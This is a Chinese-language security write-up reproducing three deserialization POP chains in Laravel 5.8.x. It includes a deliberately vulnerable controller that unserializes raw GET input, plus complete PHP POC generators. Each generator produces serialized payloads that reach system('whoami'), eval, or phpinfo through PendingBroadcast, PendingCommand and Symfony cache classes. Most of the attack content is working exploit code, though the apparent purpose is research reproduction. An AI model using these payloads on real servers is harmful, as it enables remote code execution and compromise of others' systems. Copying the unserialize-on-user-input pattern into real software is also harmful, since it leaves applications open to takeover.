Laravel5.8.x 框架中三条反序列化POP链复现
laravel结构
先简单了解几个laravel目录
Routes目录
routes
目录包含了应用的所有路由定义,Laravel 默认包含了几个路由文件:web.php
、api.php
、 console.php
和 channels.php
大部分路由都应该在 web.php
文件中定义
App目录
大部分的应用程序都位于 app
目录中。默认情况下,此目录的命名空间为 App
http
目录包含你的控制器,中间件和表单请求。处理进入应用程序请求的所有逻辑几乎都放置在此目录
环境搭建
1 2 3
| $ composer create-project --prefer-dist laravel/laravel laravel58 $ cd laravel58 $ php artisan serve --host=0.0.0.0
|
在/laravel58/routes/web.php文件中添加一条路由:
1 2 3
| <?php Route::get("/","\App\Http\Controllers\DemoController@demo"); ?>
|
在/laravel58/app/Http/Controllers/下添加DemoController控制器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php namespace App\Http\Controllers;
class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } } }
|
POP链1
这条POP链适用于laravel 5.8,按上述方法安装默认存在
POP链的起点是Illuminate\Broadcasting\PendingBroadcast::__destruct()
参数$this->events
可控,我们能调用任意类的dispatch
方法
全局搜索dispatch
方法,锁定Illuminate\Bus\Dispatcher::dispatch()
如果可以满足第一个if
条件,则可以调用dispatchToQueue
方法,跟进
发现dispatchToQueue
方法中存在call_user_func
函数,可以调用任意方法
那么只需要让dispatch
方法的if
条件为真即可:$this->queueResolver
可控,接着跟进commandShouldBeQueued
方法
该方法中要返回真,只需要让$command
,对应PendingBroadcast
类中的$this->event
是一个继承于ShouldQueue
接口的类即可
利用phpstorm的find usage随便找一个继承ShouldQueue
接口的类,例如BroadcastEvent
类
到这里,我们已经可以执行任意方法了
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event;
public function __construct($events="",$event="") { $this->events = $events; $this->event = $event; } } }
namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver = "system"; } }
namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection = "whoami"; } }
namespace{ $d = new Illuminate\Bus\Dispatcher(); $b = new Illuminate\Broadcasting\BroadcastEvent(); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p)); }
?>
|
当然call_user_func
函数除了能实现任意方法外,还有一个作用,就是能实现任意类的任意方法。例如:
1 2
| $a = new A(); call_user_func("call_user_func",array($a,"a"));
|
当第一个参数为call_user_func
,第二个参数为数组,数组第一个元素为类对象,第二个元素为类方法。所以即调用A
类的a
方法
或者:
1 2
| $a = new A(); call_user_func(array($a,"a"),"test");
|
这样第二个参数随意赋值即可
下面再找找框架中有什么可利用的类方法,例如全局搜索eval
关键字
任意调用类方法1
跟进PHPUnit\Framework\MockObject\MockClass::generate()
参数$this->classCode
可以直接控制,我们只需要满足$this->mockName
代表的类不存在即可
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php
namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event;
public function __construct($events="",$event="") { $this->events = $events; $this->event = $event; } } }
namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver = "call_user_func"; } }
namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection;
public function __construct($connection="") { $this->connection = $connection; } } }
namespace PHPUnit\Framework\MockObject{ final class MockClass { private $classCode; private $mockName;
public function __construct($classCode="",$mockName="") { $this->classCode = $classCode; $this->mockName = $mockName; } } }
namespace{ $d = new Illuminate\Bus\Dispatcher(); $m = new PHPUnit\Framework\MockObject\MockClass("phpinfo();","a"); $b = new Illuminate\Broadcasting\BroadcastEvent(array($m,"generate")); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p)); }
?>
|
任意调用类方法2
跟进Mockery\Loader\EvalLoader::load()
load
方法默认传入一个MockDefinition
的类对象$definition
,然后要满足$definition->getClassName()
返回的类名不存在。才会才会把$definition->getCode()
返回的内容拼接到eval
函数中
跟进MockDefinition::getClassName()
和MockDefinition::getCode()
getCode
方法中$this->code
可控,控制内容为<?php phpinfo();?>
就能直接执行
getClassName
方法中返回的是$this->config->getName
,能调用任意类的getName
方法,全局搜索该方法
挑个可以控制的类Psy\Reflection\ReflectionClassConstant
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php
namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event;
public function __construct($events="",$event="") { $this->events = $events; $this->event = $event; } } }
namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver;
public function __construct($queueResolver="") { $this->queueResolver = $queueResolver; } } }
namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection;
public function __construct($connection="") { $this->connection = $connection; } } }
namespace Mockery\Loader{ class EvalLoader{} }
namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code;
public function __construct($config="",$code="") { $this->config = $config; $this->code = $code; } } }
namespace Psy\Reflection{ class ReflectionClassConstant { public $name = "a"; } }
namespace{ $r = new Psy\Reflection\ReflectionClassConstant(); $e = new Mockery\Loader\EvalLoader(); $m = new Mockery\Generator\MockDefinition($r,"<?php phpinfo();?>"); $d = new Illuminate\Bus\Dispatcher(array($e,"load")); $b = new Illuminate\Broadcasting\BroadcastEvent($m); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p)); }
?>
|
POP链2
该链在laravel5.8版本同样默认存在
分析
POP链的起点在Illuminate\Foundation\Testing\PendingCommand::__destruct
$this->hasExecuted
默认为false
,执行run
方法
在run
方法中会调用$this->app[Kernel::class]
这个类的call
方法,传入的参数$this->command
和$this->parameters
都可控
在vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php中的接口类发现了call
方法
要求$parameters
参数是数组
但是执行call
需要先执行mockConsoleOutput
方法
随便先起个POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
namespace Illuminate\Foundation\Testing{ class PendingCommand { protected $command; protected $parameters;
public function __construct($command="",$parameters="") { $this->command = $command; $this->parameters = $parameters; } } }
namespace{ $p = new Illuminate\Foundation\Testing\PendingCommand("system",array("whoami")); echo urlencode(serialize($p)); }
|
然后开起调试,直接将断点设在call
方法处,发现程序未执行到call
处,果然断在了mockConsoleOutput
中
报错信息如下:
未找到类对象的对应属性expectedOutput
跟进该方法
看到foreach ($this->test->expectedQuestions as $i => $question)
,猜到应该是$this->test->expectedQuestions
未找到
那么我们全局搜索一下哪些类存在expectedQuestions
这个属性
发现有个public
属性,跟进看看Illuminate\Foundation\Testing\Concerns\InteractsWithConsole
刚好存在expectedOutput
和expectedQuestions
属性
不过因为InteractsWithConsole
是trait
类,需要找到引用他的类,通过find usage,找到了Illuminate\Foundation\Testing\TestCase
抽象类,再随便找一个继承他的类:Tests\Feature\ExampleTest
修改POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php ...
namespace Illuminate\Foundation\Testing\Concerns{ trait InteractsWithConsole { public $expectedQuestions = []; public $expectedOutput = []; } }
namespace Illuminate\Foundation\Testing{ use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole; abstract class TestCase{ use InteractsWithConsole; } }
namespace Tests\Feature{ use Illuminate\Foundation\Testing\TestCase; class ExampleTest extends TestCase{} }
namespace{ $e = new Tests\Feature\ExampleTest(); $e->expectedOutput = array("1"=>"1"); $e->expectedQuestions = array("2"=>"2"); $p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami")); echo urlencode(serialize($p)); }
|
继续调试,成功跳出foreach
:
但是因为$this->app
未赋值,所以这里肯定会报错:不知名的bind
方法
我们先全局搜索bind
方法存在哪些类,例如Illuminate\Container\Container
再次修改POC:
1 2 3 4 5 6
| namespace Illuminate\Container{ class Container{} }
$c = new Illuminate\Container\Container(); $p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami"),$c);
|
调试,成功跳出mockConsoleOutput
方法,来到call
方法处代码
出现报错:
跟进该行代码看看具体报错处:发现在resolve
方法处进入build
方法
最后一步中,判断Illuminate\Contracts\Console\Kernel
是否可以实例化
结果不可以,所以报错
所以得想办法在resolve
方法执行到build
前进行return
我们只需控制$this->instances[$abstract]
即:$this->instances['Illuminate\Contracts\Console\Kernel']
最后寻找可以利用类的call
方法,全局搜索,发现Illuminate\Container\Container本身就带有call
这里因为$this->instances['Illuminate\Contracts\Console\Kernel']
本身为containler
类的属性,所以索性找一个containler
的子类来实例化,例如Illuminate\Foundation\Application
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php
namespace Illuminate\Foundation\Testing{ class PendingCommand { public $test; protected $command; protected $parameters; protected $app;
public function __construct($test="",$command="",$parameters="",$app="") { $this->test = $test; $this->command = $command; $this->parameters = $parameters; $this->app = $app; } } }
namespace Illuminate\Foundation{ class Application{} }
namespace Illuminate\Container{ class Container { protected $instances = [];
public function __construct($instances="") { $this->instances = $instances; } } }
namespace Illuminate\Foundation\Testing\Concerns{ trait InteractsWithConsole { public $expectedQuestions = []; public $expectedOutput = []; } }
namespace Illuminate\Foundation\Testing{ use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole; abstract class TestCase{ use InteractsWithConsole; } }
namespace Tests\Feature{ use Illuminate\Foundation\Testing\TestCase; class ExampleTest extends TestCase{} }
namespace{ $a = new Illuminate\Foundation\Application(); $c = new Illuminate\Container\Container(array("Illuminate\Contracts\Console\Kernel"=>$a)); $e = new Tests\Feature\ExampleTest(); $e->expectedOutput = array("1"=>"1"); $e->expectedQuestions = array("2"=>"2"); $p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami"),$c); echo urlencode(serialize($p)); }
?>
|
实现效果
调用了call
方法后,进入BoundMethod::call
方法
在执行最后的call_user_func_array
函数前先调用getMethodDependencies
返回array_merge([],["whoami"])
所以最终拼接到call_user_func_array
函数中为:call_user_func_array("system",array("whoami"));
成功执行命令
POP链3
这条链存在symfony组件中,默认安装的laravel5.8中没有该组件。安装需要在composer.json文件的require添加"symfony/symfony":"4.*"
,然后执行composer update
命令更新即可
POP链起点在Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct()
调用commit
方法,跟进
commit
方法调用了invalidateTags([])
方法,继续跟进
$this->pool
可实例化为任意类,调用了任意类的saveDeferred
方法。将其实例化为ProxyAdapter
类
可以调用doSave
方法,但是要求传入的$item
参数为继承CacheItemInterface
的类对象
在doSave
方法中,$item
首先经过(array)$item
后强制转化为数组。$item
转化为数组后,再从数组中取键名\0*\0innerItem
的键值赋值给参数$innerItem
作为末尾245行,动态函数执行中的参数
$item["\0*\0poolHash"]
这种写法,数组键名中带有\0*\0,实际上是类中修饰符为protected的属性,在类强制转化为数组后的结果,测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class Foo{ private $var1 = 1; protected $var2 = 2; public $var3 = 3; }
$f = new Foo(); $f = (array)$f; foreach ($f as $key => $value) { echo "key: ".urlencode($key)."<br>value: ".$value."<br>"; }
|
所以,我们只需让参数$item
为继承CacheItemInterface
的类对象。然后赋值其innerItem
,poolHash
属性即可
最后,动态调用的函数有两个参数,刚好system
函数支持两个参数
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php
namespace Symfony\Component\Cache\Adapter{ class TagAwareAdapter { private $deferred; private $pool;
public function __construct($deferred="",$pool="") { $this->deferred = $deferred; $this->pool = $pool; } } }
namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter { private $setInnerItem; private $poolHash;
public function __construct($setInnerItem="",$poolHash="") { $this->setInnerItem = $setInnerItem; $this->poolHash = $poolHash; } } }
namespace Symfony\Component\Cache{ class CacheItem { protected $poolHash; protected $innerItem;
public function __construct($poolHash="",$innerItem="") { $this->poolHash = $poolHash; $this->innerItem = $innerItem; } } }
namespace{ $p = new Symfony\Component\Cache\Adapter\ProxyAdapter("system","1"); $c = new Symfony\Component\Cache\CacheItem("1","whoami"); $t = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array("1"=>$c),$p); echo urlencode(serialize($t)); }
?>
|
参考
https://mochazz.github.io/2019/08/05/Laravel5.8.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/
http://adm1n.design/2019/08/15/laravel5.7-unserialize-RCE
https://zhzhdoai.github.io/2019/12/14/Laravel-5-8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%B8%80/